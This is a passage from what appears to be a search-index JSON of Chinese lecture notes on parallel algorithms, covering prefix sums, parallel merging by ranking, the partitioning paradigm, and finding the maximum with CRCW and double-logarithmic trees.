\u70b9\u662f\u5176\u7236\u70b9\u7684\u53f3\u513f\u5b50\uff0c\u56e0\u6b64\u5b83\u548c\u5b83\u7684\u7236\u4eb2\u6839\u53f3\u4e0b\u89d2\u7684\u53f6\u5b50\u662f\u540c\u4e00\u4e2a\uff0c\u56e0\u6b64\u6709 \\( C(h, i) = C(h + 1, i/2) \\);</p> </li> <li> <p>\u5982\u679c \\( i \\) \u662f\u5947\u6570\u4e14\u4e0d\u662f 1\uff0c\u8fd9\u8868\u660e\u8fd9\u4e00\u70b9\u662f\u67d0\u4e2a\u70b9\u7684\u5de6\u513f\u5b50\uff0c\u9996\u5148\u5b83\u81ea\u5df1\u7684\u503c \\( B(h, i) \\) \u4e0d\u662f\u4ece 1 \u5f00\u59cb\u52a0\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u8981\u9009\u4e00\u4e2a\u5de6\u8fb9\u7684\u70b9\uff0c\u628a\u4ece 1 \u5f00\u59cb\u52a0\u5230\u8fd9\u4e2a\u70b9\u5bf9\u5e94\u7684\u4e4b\u524d\u7684\u90e8\u5206\u8865\u4e0a\uff0c\u5373 \\( C(h, i) = C(h + 1, (i - 1)/2) + B(h, i) \\)\u3002\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5982\u679c\u4e0d\u662f\u5e76\u884c\u7b97\u6cd5\uff0c\\( C(h + 1, (i - 1)/2) \\) \u53ef\u4ee5\u66ff\u6362\u4e3a \\( C(h, i - 1) \\)\uff0c\u4f46\u56e0\u4e3a\u5e76\u884c\u7b97\u6cd5\u8981\u6c42\u6bcf\u4e00\u884c\u662f\u4e00\u8d77\u7b97\u51fa\u6765\u7684\uff0c\u6240\u4ee5\u8981\u7528\u4e0a\u4e00\u884c\u7684\u624d\u5408\u7406\u3002\u6216\u8005\u7528\u4ed6\u7236\u4eb2\u7684\\(C\\)\u51cf\u53bb\u4ed6\u5144\u5f1f\u7684\\(B\\)</p> </li> </ol> \u524d\u7f00\u548c\u95ee\u9898"},{"location":"NOTE/ADS/wk13/#_4","title":"\u5f52\u5e76\u95ee\u9898","text":"<p>\u5f52\u5e76 - \u5c06\u4e24\u4e2a\u975e\u9012\u51cf\u6570\u7ec4 \\( A(1), A(2), \\ldots, A(n) \\) \u548c \\( B(1), B(2), \\ldots, B(m) \\) \u5f52\u5e76\u6210\u53e6\u4e00\u4e2a\u975e\u9012\u51cf\u6570\u7ec4 \\( C(1), C(2), \\ldots, C(n+m) \\)</p>"},{"location":"NOTE/ADS/wk13/#_5","title":"\u76f4\u63a5\u67e5\u627e","text":"<p>Idea</p> <p>\u65e2\u7136\u6211\u4eec\u53ef\u4ee5\u8bbe\u8ba1\u5e76\u884c\u7b97\u6cd5\uff0c\u90a3\u4e48\u5982\u679c\u6211\u4eec\u80fd\u540c\u65f6\u5c06\u6240\u6709 \\( A \\) \u548c \\( B \\) \u4e2d\u7684\u5143\u7d20\u5728\u6700\u540e\u7684\u6570\u7ec4 \\( C \\) \u4e2d\u7684\u4f4d\u7f6e\u627e\u5230\uff0c\u7136\u540e\u540c\u65f6\u5c06\u5b83\u4eec\u653e\u5230\u6b63\u786e\u7684\u4f4d\u7f6e\u4e0a\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u4ee5\u5f88\u5feb\u7684\u901f\u5ea6\u89e3\u51b3\u8fd9\u4e00\u95ee\u9898</p> <p>\u8fd9\u91cc\u7684\u5173\u952e\u6b65\u9aa4\u5c31\u662f\u540c\u65f6\u627e\u5230 \\( A \\) \u548c \\( B \\) \u4e2d\u7684\u5143\u7d20\u5728 \\( C \\) \u4e2d\u7684\u4f4d\u7f6e\uff0c\u8fd9\u662f\u4e00\u4e2a\u5e76\u4e0d\u56f0\u96be\u7684\u95ee\u9898\u3002\u4f8b\u5982\u5bf9 \\( A \\) \u4e2d\u7684\u5143\u7d20 \\( A[i] \\)\uff0c\u5b83\u5728 \\( A \\) \u4e2d\u6070\u662f \\( i+1 \\) \u4e2a\u5143\u7d20\uff08\u4e0b\u6807\u4ece 0 \u5f00\u59cb\uff09\uff0c\u5373\u5728\u5b83\u524d\u9762\u6709 \\( i \\) \u4e2a\u5143\u7d20\u3002\u5982\u679c\u6211\u4eec\u80fd\u627e\u5230\u5b83\u5728 \\( B \\) \u4e2d\u5904\u4e8e</p> \\[ B[l] &lt; A[i] &lt; B[l+1] \\] <p>\u7684\u4f4d\u7f6e\uff0c\u90a3\u4e48 \\( B \\) \u4e2d\u6709 \\( l+1 \\) \u4e2a\u5143\u7d20\u5728\u5408\u5e76\u540e\u7684 \\( C \\) \u4e2d\u4f4d\u4e8e \\( A[i] \\) \u524d\u9762\u3002\u56e0\u6b64\u6b64\u65f6 \\( A[i] \\) \u5728 \\( C \\) \u4e2d\u7684\u4f4d\u7f6e\u5c31\u662f \\( C[i + l + 1] \\)\uff0c\u8fd9\u6837\u5b83\u524d\u9762\u5c31\u6709 \\( i + (l + 1) \\) \u4e2a\u5143\u7d20\u3002\u5bf9 \\( B \\) \u4e2d\u7684\u5143\u7d20 \\( B[k] \\) \u4e5f\u6709\u7c7b\u4f3c\u7684\u5206\u6790\u3002</p> \u6392\u5217\u89c4\u5219 <pre><code>for Pi , 1 &lt;= i &lt;= n  pardo\n    C(i + RANK(i, B)) := A(i)\nfor Pi , 1 &lt;= i &lt;= n  pardo\n    C(i + RANK(i, A)) := B(i)\n</code></pre> <p>\u6709\u4e24\u79cd\u7b56\u7565</p> <ol> <li> <p>\u9010\u4e2a\u5143\u7d20\u4e8c\u5206\u67e5\u627e: \u4f7f\u7528\u4e8c\u5206\u67e5\u627e\u5b9a\u4f4d\u5230\u4e00\u4e2a\u5143\u7d20\u5728\u53e6\u4e00\u4e2a\u6570\u7ec4\u4e2d\u7684\u4f4d\u7f6e\u5176\u9700\u8981 \\( O(\\log n) \\) \u7684\u65f6\u95f4\uff0c\u5373 \\( D = O(\\log n) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n \\log n) \\)\uff1b\u7136\u540e\u6211\u4eec\u9700\u8981\u5c06\u6240\u6709\u5143\u7d20\u653e\u5230\u6b63\u786e\u7684\u4f4d\u7f6e\u4e0a\u3002\u8fd9\u4e00\u6b65\u590d\u6742\u4e3a \\( O(1) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n) \\) (\u5982\u679c\u6570\u7ec4\u957f\u5ea6\u4e0d\u540c\u5219\u662f \\( O(n+m) \\))\uff0c\u4e24\u6b65\u5408\u8d77\u6765\u590d\u6742\u4e3a \\( O(\\log n) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n \\log n) \\)\u3002</p> </li> <li> <p>\u6574\u4f53\u6027\u67e5\u627e: \u4f2a\u4ee3\u7801\u5982\u4e0b</p> </li> </ol> <pre><code>i = j = 0; \nwhile ( i &lt;= n || j &lt;= m ) {\n    if ( A(i+1) &lt; B(j+1) )\n        RANK(++i, B) = j;\n    else RANK(++j, A) = i;\n}\n</code></pre> <p>\u5b9e\u9645\u4e0a\u548c\u5f52\u5e76\u6392\u5e8f\u7684\u64cd\u4f5c\u5e76\u65e0\u672c\u8d28\u5dee\u522b\uff0c\u5c31\u662f\u4e24\u4e2a\u6570\u7ec4\u7684\u5143\u7d20\u4ece\u5934\u4f9d\u6b21\u5411\u540e\u6bd4\u8f83\uff0c\u56e0\u6b64\u5b8c\u5168\u6ca1\u6709\u5e76\u884c\uff0c\u6df1\u5ea6\u548c\u603b\u5de5\u4f5c\u91cf\u90fd\u662f \\( O(n) \\)\uff08\u6216\u8005\u6570\u7ec4\u957f\u5ea6\u4e0d\u540c\u5c31\u662f \\( O(m + n) \\)\uff09</p>"},{"location":"NOTE/ADS/wk13/#_6","title":"\u5212\u5206\u8303\u5f0f","text":"<p>\u5212\u5206\u8303\u5f0f\u7684\u60f3\u6cd5\u975e\u5e38\u7b80\u5355\uff0c\u4e14\u5b9e\u9645\u8fd0\u7528\u8d77\u6765\u975e\u5e38\u6709\u6548\uff0c\u5206\u4e3a\u5982\u4e0b\u4e24\u4e2a\u6b65\u9aa4\uff1a</p> <ol> <li> <p>\u5212\u5206 (partitioning): \u628a\u95ee\u9898\u5212\u5206\u4e3a\u591a\uff08\u8bbe\u4e3a \\( p \\) \u4e2a\uff09\u5f88\u5c0f\u7684\u5b50\u95ee\u9898\u3002\u6bcf\u4e2a\u5b50\u95ee\u9898\u5927\u5c0f\u5927\u81f4\u4e3a \\( n/p \\)\uff1b</p> </li> <li> <p>\u5b9e\u9645\u5de5\u4f5c (actual work): \u540c\u65f6\u5bf9\u6240\u6709\u5b50\u95ee\u9898\u8fdb\u884c\u5904\u7406\uff0c\u5f97\u5230\u6700\u7ec8\u7ed3\u679c\u3002</p> </li> </ol> <p>\u5212\u5206\uff1a\u6211\u4eec\u5c06\u6bcf\u4e2a\u6570\u7ec4\u5212\u5206\u4e3a \\( p \\) \u4efd\uff08\u6b64\u65f6 \\( p \\) \u672a\u77e5\uff0c\u5206\u6790\u540e\u6211\u4eec\u53ef\u4ee5\u9009\u53d6\u5230\u6700\u4f18\u7684 \\( p \\)\uff09\uff0c\\( p \\) \u662f\u4e00\u4e2a\u5f88\u5927\u7684\u503c\uff0c\u6bcf\u4e2a\u5b50\u95ee\u9898\u5f88\u5c0f\uff0c\u5982 PPT \u7b2c 17 \u9875\u56fe\u6240\u793a\u3002\u6211\u4eec\u9996\u5148\u5bf9\u6bcf\u4e2a\u5b50\u95ee\u9898\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20\u6c42\u51fa\u5b83\u4eec\u5728\u53e6\u4e00\u4e2a\u6570\u7ec4\u7684\u4f4d\u7f6e\uff0c\u8fd9\u4e00\u6b65\u5e94\u5f53\u4f7f\u7528\u4e8c\u5206\u67e5\u627e\uff0c\u5426\u5219\u56e0\u4e3a\u5b50\u95ee\u9898\u5f88\u591a\uff0c\u4f7f\u7528\u7ebf\u6027\u67e5\u627e\u4f1a\u5bfc\u81f4\u603b\u5de5\u4f5c\u91cf\u8fbe\u5230 \\( O(p \\cdot n) \\)\uff0c\u8fd9\u51e0\u4e4e\u662f\u5e73\u65b9\u7ea7\u522b\u7684\u5de5\u4f5c\u91cf\uff0c\u663e\u7136\u662f\u4e0d\u53ef\u63a5\u53d7\u7684\uff1b\u56e0\u6b64\u6211\u4eec\u4f7f\u7528\u4e8c\u5206\u67e5\u627e\uff0c\u8fd9\u6837\u6df1\u5ea6\u4e3a \\( O(\\log n) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(p \\log n) \\)\uff1b</p> \u5212\u5206A \u5212\u5206B \u5f97\u5230\u4e92\u4e0d\u76f8\u5e72\u5b50\u95ee\u9898 <p>\u771f\u5b9e\u5de5\u4f5c\uff1a\u73b0\u5728\u5269\u4e0b\u7684\u5de5\u4f5c\u5c31\u662f\u76f8\u90bb\u4e24\u4e2a\u7bad\u5934\u4e4b\u95f4\u7684\u90e8\u5206\u9700\u8981\u5728\u8fd9\u4e00\u5f88\u5c0f\u7684\u533a\u57df\u5185\u786e\u8ba4\u76f8\u5bf9\u4f4d\u7f6e\uff0c\u56e0\u4e3a\u8fd9\u4e9b\u4f4d\u7f6e\u786e\u5b9a\u540e\u76f4\u63a5\u53ef\u4ee5\u6839\u636e\u4e0a\u4e00\u6b65\u5212\u5206\u4e2d\u5f97\u5230\u7684\u7ed3\u679c\u786e\u5b9a\u5728\u6574 \u4e2a\u6700\u7ec8\u7684\u6570\u7ec4\u4e2d\u7684\u4f4d\u7f6e\u3002</p> <p>\u6ce8\u610f\uff0c\u5f88\u663e\u7136\u7684\u4e00\u70b9\u662f\uff0c\u8fd9\u4e9b\u7bad\u5934\u4e0d\u4f1a\u4ea4\u53c9\uff0c\u8fd9\u662f\u7531\u7bad\u5934\u4ee3\u8868\u7684\u5927\u5c0f\u5173\u7cfb\u51b3\u5b9a\u7684\u3002\u53e6\u4e00\u65b9\u9762\uff0c\u76f8\u90bb\u4e24\u4e2a\u7bad\u5934\u4e4b\u95f4\u7684\u8ddd\u79bb\u4e00\u5b9a\u4e0d\u8d85\u8fc7 \\( n/p \\)\uff0c\u56e0\u4e3a\u4e00\u65e6\u8d85\u8fc7 \\( n/p \\)\uff0c\u90a3\u5176\u4e2d\u4e00\u5b9a\u4f1a\u6709\u4e00\u4e2a\u7bad\u5934\uff08\u7bad\u5934\u51fa\u73b0\u7684\u9891\u7387\u662f\u6bcf \\( n/p \\) \u4e2a\u5143\u7d20\u4e00\u6b21\uff09\u3002\u5e76\u4e14\u4e00\u4e2a\u6570\u7ec4\u4e0a\u6709 \\( p \\) \u4e2a\u51fa\u53d1\u7684\u4f4d\u7f6e\u548c \\( p \\) \u4e2a\u5230\u8fbe\u7684\u4f4d\u7f6e\uff0c\u6240\u4ee5\u5728\u4efb\u610f\u4e00\u4e2a\u6570\u7ec4\u4e0a\uff0c\u51fa\u53d1\u70b9\u548c\u5230\u8fbe\u70b9\u4e00\u5171\u6700\u591a\u6709 \\( 2p \\) \u4e2a\u3002\u7136\u540e\u4e24\u4e2a\u6570\u7ec4\u7684\u8fd9\u4e9b\u5212\u5206\u533a\u57df\u6309\u56fe\u4e2d\u5f62\u5f0f\u4e00\u4e00\u5bf9\u5e94\u8fdb\u884c\u8ba1\u7b97\uff0c\u6bcf\u4e2a\u533a\u57df\u5b9e\u9645\u4e0a\u5c31\u662f\u4e00\u4e2a\u5b50\u95ee\u9898\uff0c\u5373\u73b0\u5728\u8fd8\u5269\u4e0b \\( 2p \\) \u4e2a\u5927\u5c0f\u4e3a \\( O(n/p) \\) \u7684\u5b50\u95ee\u9898\u3002\u8fd9\u65f6\u6211\u4eec\u5e76\u884c\u5bf9\u6bcf\u4e2a\u5b50\u95ee\u9898\u76f4\u63a5\u4f7f\u7528\u7ebf\u6027\u67e5\u627e\u5373\u53ef\uff0c\u56e0\u4e3a\u6bcf\u4e2a\u5b50\u95ee\u9898\u90fd\u975e\u5e38\u5c0f\uff08\u5927\u5c0f\u4e3a \\( O(n/p) \\)\uff09\uff0c\u6b64\u65f6\u6df1\u5ea6\u4e3a \\( O(n/p) \\) \u4e5f\u5f88\u5c0f\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( 2p \\cdot O(n/p) = O(n) \\) \u662f\u7b26\u5408\u8981\u6c42\u7684\u3002\u800c\u5982\u679c\u4f7f\u7528\u4e8c\u5206\u67e5\u627e\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a</p> \\[ 2p \\cdot \\frac{n}{p} \\cdot O\\left(\\log \\frac{n}{p}\\right) = 2n \\log \\frac{n}{p}, \\] <p>\u8fd9\u662f\u56e0\u4e3a\u6709 \\( 2p \\) \u4e2a\u5b50\u95ee\u9898\uff0c\u6bcf\u4e2a\u5b50\u95ee\u9898\u90fd\u81f3\u591a\u6709 \\( \\frac{n}{p} \\) \u4e2a\u5143\u7d20\u8981\u7528\u81f3\u591a \\( \\log \\left( \\frac{n}{p} \\right) \\) \u7684\u65f6\u95f4\u786e\u5b9a\u4f4d\u7f6e\uff0c\u8fd9\u5e76\u65e0\u6cd5\u4fdd\u8bc1\u662f \\( O(n) \\) \u7684\u3002</p> <p>\u73b0\u5728\u7684\u95ee\u9898\u5c31\u5728\u4e8e\uff0c\u8fd8\u6709\u4e24\u4e2a\u65f6\u95f4\u590d\u6742\u5ea6\u672a\u5b9a\uff1a\u7b2c\u4e00\u6b65\u5212\u5206\u7684\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(p \\log n) \\)\uff0c\u7b2c\u4e8c\u6b65\u771f\u5b9e\u5de5\u4f5c\u7684\u6df1\u5ea6\u4e3a \\( O(n/p) \\)\u3002\u6211\u4eec\u5e0c\u671b\u627e\u5230\u4e00\u4e2a\u6700\u4f18\u7684 \\( p \\)\uff0c\u4f7f\u5f97\u7b2c\u4e00\u6b65\u603b\u5de5\u4f5c\u91cf\u662f \\( O(n) \\) \u7684\uff0c\u7b2c\u4e8c\u6b65\u6df1\u5ea6\u662f \\( O(\\log n) \\) \u7684\u3002\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u5f97\u5230\u4e00\u4e2a\u6df1\u5ea6\u4e3a \\( O(\\log n) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n) \\) \u7684\u5e76\u884c\u7b97\u6cd5\uff0c\u6210\u529f\u505a\u5230\u53d6\u957f\u8865\u77ed\u3002\u4e8b\u5b9e\u4e0a\uff0c\u6211\u4eec\u5f88\u5bb9\u6613\u770b\u51fa\uff0c\\( p = \\frac{n}{\\log n} \\) \u5c31\u662f\u6ee1\u8db3\u6761\u4ef6\u7684\uff0c\u56e0\u6b64\u6211\u4eec\u5c31\u9009\u53d6\u8fd9\u4e2a \\( p \\)\uff0c\u5f97\u5230\u4e86\u4e00\u4e2a\u6df1\u5ea6\u4e3a \\( O(\\log n) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n) \\) \u7684\u5e76\u884c\u7b97\u6cd5\u3002</p>"},{"location":"NOTE/ADS/wk13/#_7","title":"\u5bfb\u627e\u6700\u5927\u5143\u7d20","text":"<p>\u7ed9\u5b9a\u4e00\u7ec4\u6570\u5217 \\( A \\)\uff0c\u8981\u6c42\u627e\u5230\u5176\u4e2d\u6700\u5927\u7684\u5143\u7d20\u3002</p>"},{"location":"NOTE/ADS/wk13/#_8","title":"\u4e0d\u4f7f\u7528\u5212\u5206\u8303\u5f0f","text":"<p>\u7c7b\u4f3c\u4e8e\u524d\u9762\u6c42\u548c\u95ee\u9898\u7684\u505a\u6cd5\uff0c\u6784\u9020\u4e00\u68f5\u4e8c\u53c9\u6811\uff0c\u521d\u59cb\u5143\u7d20\u4e24\u4e24\u5206\u7ec4\u6bd4\u8f83\uff0c\u7136\u540e\u9010\u5c42\u4e0a\u9012\uff0c\u6700\u7ec8\u5f97\u5230\u6700\u5927\u503c\u3002\u8fd9\u6837\u7684\u7b97\u6cd5\u6df1\u5ea6\u4e3a \\( O(\\log n) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n) \\)</p> <p>\u6211\u4eec\u53ef\u4ee5\u91c7\u53d6\u66f4\u6fc0\u8fdb\u7684\u7b56\u7565\uff1a\u4e3a\u4ec0\u4e48\u4e0d\u4e00\u6b21\u6027\u6bd4\u8f83\u6240\u6709\u5143\u7d20\u5462\uff1f\u8fd9\u6837\u6df1\u5ea6\u53ea\u9700 \\( O(1) \\)\u3002\u5982\u679c\u4e0d\u8003\u8651\u603b\u5de5\u4f5c\u91cf\u8fc7\u5927\u7684\u95ee\u9898\uff0c\u8fd9\u79cd\u65b9\u6cd5\u662f\u53ef\u884c\u7684\uff1a\u5e76\u884c\u6bd4\u8f83\u6bcf\u4e00\u5bf9\u5143\u7d20 \\( A[i] \\) \u548c \\( A[j] \\)\uff0c\u53ea\u8981 \\( A[i] \\) \u5728\u6bd4\u8f83\u4e2d\u8f83\u5c0f\uff0c\u5c31\u5728\u65b0\u6570\u7ec4 \\( B[i] \\) \u4e2d\u5199\u5165 1\uff08\u521d\u59cb\u65f6 \\( B \\) \u7684\u6240\u6709\u4f4d\u7f6e\u4e3a 0\uff09\u3002\u6700\u7ec8\uff0c\u6700\u5927\u7684\u5143\u7d20\u4ece\u672a\u88ab\u5199\u5165 1\uff0c\u56e0\u6b64\u4ecd\u4e3a 0\u3002\u6211\u4eec\u5e76\u884c\u68c0\u67e5 \\( B \\) \u4e2d\u54ea\u4e2a\u5143\u7d20\u4e3a 0\uff0c\u5373\u4e3a\u6700\u5927\u503c\u3002</p> <p>\u8fd9\u7c7b\u4f3c\u4e8e\u4e00\u573a\u6df7\u6218\uff0c\u6bcf\u4e2a\u4eba\u90fd\u8981\u4e0e\u4ed6\u4eba\u5bf9\u6218\uff0c\u80dc\u8005\u7559\u4e0b\uff0c\u8d25\u8005\u79bb\u573a\u3002\u6700\u540e\u7559\u4e0b\u7684\u5c31\u662f\u6700\u5927\u8005\u3002</p> <p>\u5728\u5e76\u884c\u6bd4\u8f83\u6bcf\u5bf9\u5143\u7d20\u65f6\uff0c\u53ef\u80fd\u4f1a\u6709\u591a\u4e2a\u7ebf\u7a0b\u540c\u65f6\u5199\u5165\u6570\u7ec4 \\( B \\)\u3002\u5b9e\u9645\u4e0a\uff0c\u6211\u4eec\u53ea\u9700\u4f7f\u7528\u524d\u9762\u63d0\u5230\u7684 CRCW \u7b56\u7565\uff0c\u5141\u8bb8\u540c\u65f6\u5199\u5165\uff0c\u5e76\u6309 common \u89c4\u5219\u5199\u5165\u5373\u53ef\uff0c\u56e0\u4e3a\u6240\u6709\u7ebf\u7a0b\u5728\u4efb\u610f \\( B[i] \\) \u5904\u53ea\u4f1a\u5199\u5165\u6570\u5b57 1\uff0c\u6545\u7528 common \u89c4\u5219\u5373\u53ef\u5b9e\u73b0\u5199\u5165\u3002</p> <p>\u663e\u7136\uff0c\u8fd9\u79cd\u7b97\u6cd5\u7684\u6df1\u5ea6\u975e\u5e38\u7406\u60f3\uff0c\u4e3a \\( O(1) \\)\uff0c\u4f46\u603b\u5de5\u4f5c\u91cf\u4e3b\u8981\u5728\u4e8e\u6bd4\u8f83\u6bcf\u5bf9\u5143\u7d20\u7684\u503c\uff0c\u56e0\u6b64\u4e3a \\( O(n^2) \\)\u3002\u5982\u679c\u80fd\u5728\u603b\u5de5\u4f5c\u91cf\u548c\u6df1\u5ea6\u4e0a\u53d6\u957f\u8865\u77ed\uff0c\u8fd9\u4e24\u79cd\u65b9\u6cd5\u5c06\u975e\u5e38\u5b8c\u7f8e\u3002</p>"},{"location":"NOTE/ADS/wk13/#double-logarithmic-partitioning","title":"\u53cc\u5bf9\u6570\u5212\u5206\u8303\u5f0f(double logarithmic partitioning)","text":"<p>\u53cc\u5bf9\u6570\u8303\u5f0f\u662f\u4e00\u79cd\u53ef\u4ee5\u4e8c\u53c9\u6811\u7684\u6269\u5c55\u3002\u5728\u5b8c\u5168\u4e8c\u53c9\u6811\u4e2d\uff0c\u8bbe\u53f6\u5b50\u7684\u6570\u91cf\u4e3a \\( n \\)\uff0c\u90a3\u4e48\u6811\u9ad8\u662f \\( \\log n \\) \u7ea7\u522b\u7684\uff0c \u8fd9\u91cc\u53cc\u5bf9\u6570\u5219\u662f\u5e0c\u671b\u6784\u9020\u4e00\u68f5\u6811\uff0c\u4f7f\u5f97\u6811\u9ad8\u662f \\( \\log \\log n \\) \u7ea7\u522b\u7684\u3002\u4e3a\u4e86\u6784\u9020\u8fd9\u6837\u4e00\u68f5\u6811\uff0c\u6211\u4eec\u9996\u5148\u8bbe\u6811 \u4e2d\u6bcf\u4e2a\u8282\u70b9\u7684 level \u4e3a\u4ece\u6839\u5230\u8be5\u8282\u70b9\u7684\u8ddd\u79bb\uff08\u9700\u8981\u7ecf\u8fc7\u7684\u8fb9\u6570\uff09\uff0c\u6839\u7684 level \u4e3a 0\u3002\u63a5\u4e0b\u6765\u6211\u4eec\u6784\u9020\u8fd9\u68f5 \u6811\u5982\u4e0b\uff1a</p> <ol> <li> <p>\u8bbe\u67d0\u4e2a\u8282\u70b9\u7684 level \u4e3a \\( s \\)\uff0c\u5f53 \\( s \\leq \\log \\log n - 1 \\) \u65f6\uff0c\u5219\u5b83\u6709 \\( 2^{2^{h-s-1}} \\) \u4e2a\u5b69\u5b50\uff1b</p> </li> <li> <p>\u5f53 \\( s = \\log \\log n \\) \u65f6\uff0c\u5b83\u6709 2 \u4e2a\u5b69\u5b50\u4f5c\u4e3a\u6811\u7684\u53f6\u5b50\u3002</p> </li> </ol> <p>\u4e8b\u5b9e\u4e0a\uff0c\u6211\u4eec\u53ef\u4ee5\u89c2\u5bdf\u5230\uff0c\u5f53\u4e00\u4e2a\u8282\u70b9\u7684\u5c42\u7ea7\uff08level\uff09\u4e3a \\( s \\) \u4e14\u4e0d\u5728\u5012\u6570\u4e24\u884c\u65f6\uff0c\u6839\u636e\u5b9a\u4e49\uff0c\u5b83\u6709 \\( 2^{2^{h-s-1}} \\) \u4e2a\u5b69\u5b50\u3002\u4ee5\u8be5\u8282\u70b9\u4e3a\u6839\u7684\u5b50\u6811\u7684\u53f6\u5b50\u6570\u91cf\u53ef\u4ee5\u8ba1\u7b97\u4e3a \\( 2^{2^{h-s}} \\)\u3002\u6211\u4eec\u77e5\u9053\uff1a</p> \\[ 2^{2^{h-s-1}} = \\sqrt{2^{2^{h-s}}} \\] <p>\u8fd9\u610f\u5473\u7740\u5728\u6bcf\u4e2a\u8282\u70b9\u5904\uff0c\u6211\u4eec\u5b9e\u9645\u4e0a\u5c06\u95ee\u9898\u5206\u6210\u4e86 \\( \\sqrt{m} \\) \u4e2a\u5b50\u95ee\u9898\uff0c\u5176\u4e2d \\( m \\) \u662f\u8be5\u8282\u70b9\u5bf9\u5e94\u7684\u5b50\u6811\u7684\u53f6\u5b50\u6570\u91cf\u3002\u6211\u4eec\u77e5\u9053\uff0c\u5728\u53cc\u5bf9\u6570\u6811\u4e2d\uff0c\u67d0\u4e00\u5c42\u5355\u4e2a\u8282\u70b9\u4e3a\u6839\u7684\u5b50\u6811\u7684\u53f6\u5b50\u6570\uff0c\u5176\u5b9e\u662f\u4e0a\u4e00\u5c42\u67d0\u4e2a\u8282\u70b9\u4e3a\u6839\u7684\u5b50\u6811\u7684\u53f6\u5b50\u6570\u7684\u5e73\u65b9\u6839\uff08\u56e0\u4e3a\u5c42\u6570\u4e3a \\( s \\) \u7684\u67d0\u4e2a\u8282\u70b9\uff0c\u4ee5\u5b83\u4e3a\u6839\u7684\u5b50\u6811\u7684\u53f6\u5b50\u6570\u91cf\u662f \\( 2^{2^{h-s}} \\)\uff0c\u6bcf\u589e\u52a0\u4e00\u5c42 \\( s \\) \u5b9e\u9645\u4e0a\u5c31\u662f\u5f00\u4e00\u6b21\u5e73\u65b9\u6839\uff09\u3002\u56e0\u6b64\uff0c\u5c42\u6570\u8d8a\u5f80\u4e0b\uff0c\u5b50\u95ee\u9898\u7684\u5927\u5c0f\u9010\u6b65\u5f00\u5e73\u65b9\u6839\u3002</p> <p>\u5047\u8bbe\u539f\u95ee\u9898\u7684\u8f93\u5165\u5927\u5c0f\u4e3a \\( n \\)\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u6dfb\u52a0\u4e00\u4e9b\u865a\u62df\u8282\u70b9\uff08dummy nodes\uff09\u6765\u6784\u9020\u51fa\u4ee5\u8fd9 \\( n \\) \u4e2a\u8282\u70b9\u4e3a\u53f6\u5b50\u7684\u53cc\u5bf9\u6570\u6811\u3002\u8fd9\u6837\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u7528\u53cc\u5bf9\u6570\u8303\u5f0f\u6765\u8bbe\u8ba1\u4e00\u4e2a\u5e76\u884c\u7b97\u6cd5\uff0c\u5373\u5728\u6bcf\u4e00\u5c42\u5c06\u95ee\u9898\u5206\u4e3a \\( \\sqrt{m} \\) \u4e2a\u5b50\u95ee\u9898\uff0c\u5176\u4e2d \\( m \\) \u662f\u8fd9\u4e00\u5c42\u5355\u4e2a\u8282\u70b9\u4e3a\u6839\u7684\u5b50\u6811\u7684\u53f6\u5b50\u6570\u91cf\u3002\u8fd9\u6837\uff0c\u6bcf\u4e2a\u5b50\u95ee\u9898\uff08\u5b9e\u9645\u4e0a\u5c31\u662f\u6811\u4e0a\u7684\u67d0\u4e2a\u8282\u70b9\uff09\u5bf9\u5e94\u7684\u53f6\u5b50\u6570\u4e5f\u5c31\u662f \\( \\sqrt{m} \\)\uff0c\u8fd9\u5c31\u4e0e\u53cc\u5bf9\u6570\u6811\u7ed3\u5408\u8d77\u6765\u4e86\u3002\u6211\u4eec\u719f\u77e5\u7684\u4e8c\u53c9\u6811\u5219\u662f\u6bcf\u5c42\u5206\u6210\u4e24\u4e2a\u5b50\u95ee\u9898\uff0c\u662f\u66f4\u7b80\u5355\u7684\u7b56\u7565\u3002</p> <p>\u5c06\u8fd9\u4e00\u601d\u8def\u5957\u7528\u5728\u6211\u4eec\u7684\u95ee\u9898\u4e0a\uff1a\u6211\u4eec\u9996\u5148\u5c06\u6570\u7ec4\u5212\u5206\u4e3a \\( \\sqrt{n} \\) \u4efd\uff0c\u6bcf\u4e00\u4efd\u7684\u5927\u5c0f\u4e3a \\( \\sqrt{n} \\)\uff0c\u7136\u540e\u6211\u4eec\u5e76\u884c\u9012\u5f52\u627e\u5230\u6bcf\u4e00\u4efd\u4e2d\u7684\u6700\u5927\u503c\uff0c\u6700\u540e\u5728\u5f52\u5e76\u9636\u6bb5\u518d\u5e76\u884c\u627e\u5230\u8fd9 \\( \\sqrt{n} \\) \u4e2a\u6700\u5927\u503c\u4e2d\u7684\u6700\u5927\u503c\u5373\u53ef\u3002\u8bbe\u6574\u4e2a\u7b97\u6cd5\u6df1\u5ea6\u4e3a \\( D(n) \\)\uff0c\u5de5\u4f5c\u91cf\u4e3a \\( W(n) \\)\uff0c\u5b83\u4eec\u90fd\u662f\u5173\u4e8e\u6570\u7ec4\u957f\u5ea6\u7684\u51fd\u6570\u3002\u6bcf\u4e00\u4efd\u4e2d\u7684\u6700\u5927\u503c\u6211\u4eec\u91c7\u7528\u9012\u5f52\u7684\u7b56\u7565\uff0c\u56e0\u6b64\u957f\u5ea6\u4e3a \\( \\sqrt{n} \\) \u7684\u6570\u7ec4\u7684\u6700\u5927\u503c\u7684\u5bfb\u627e\u9700\u8981 \\( D(\\sqrt{n}) \\) \u7684\u6df1\u5ea6\u548c \\( W(\\sqrt{n}) \\) 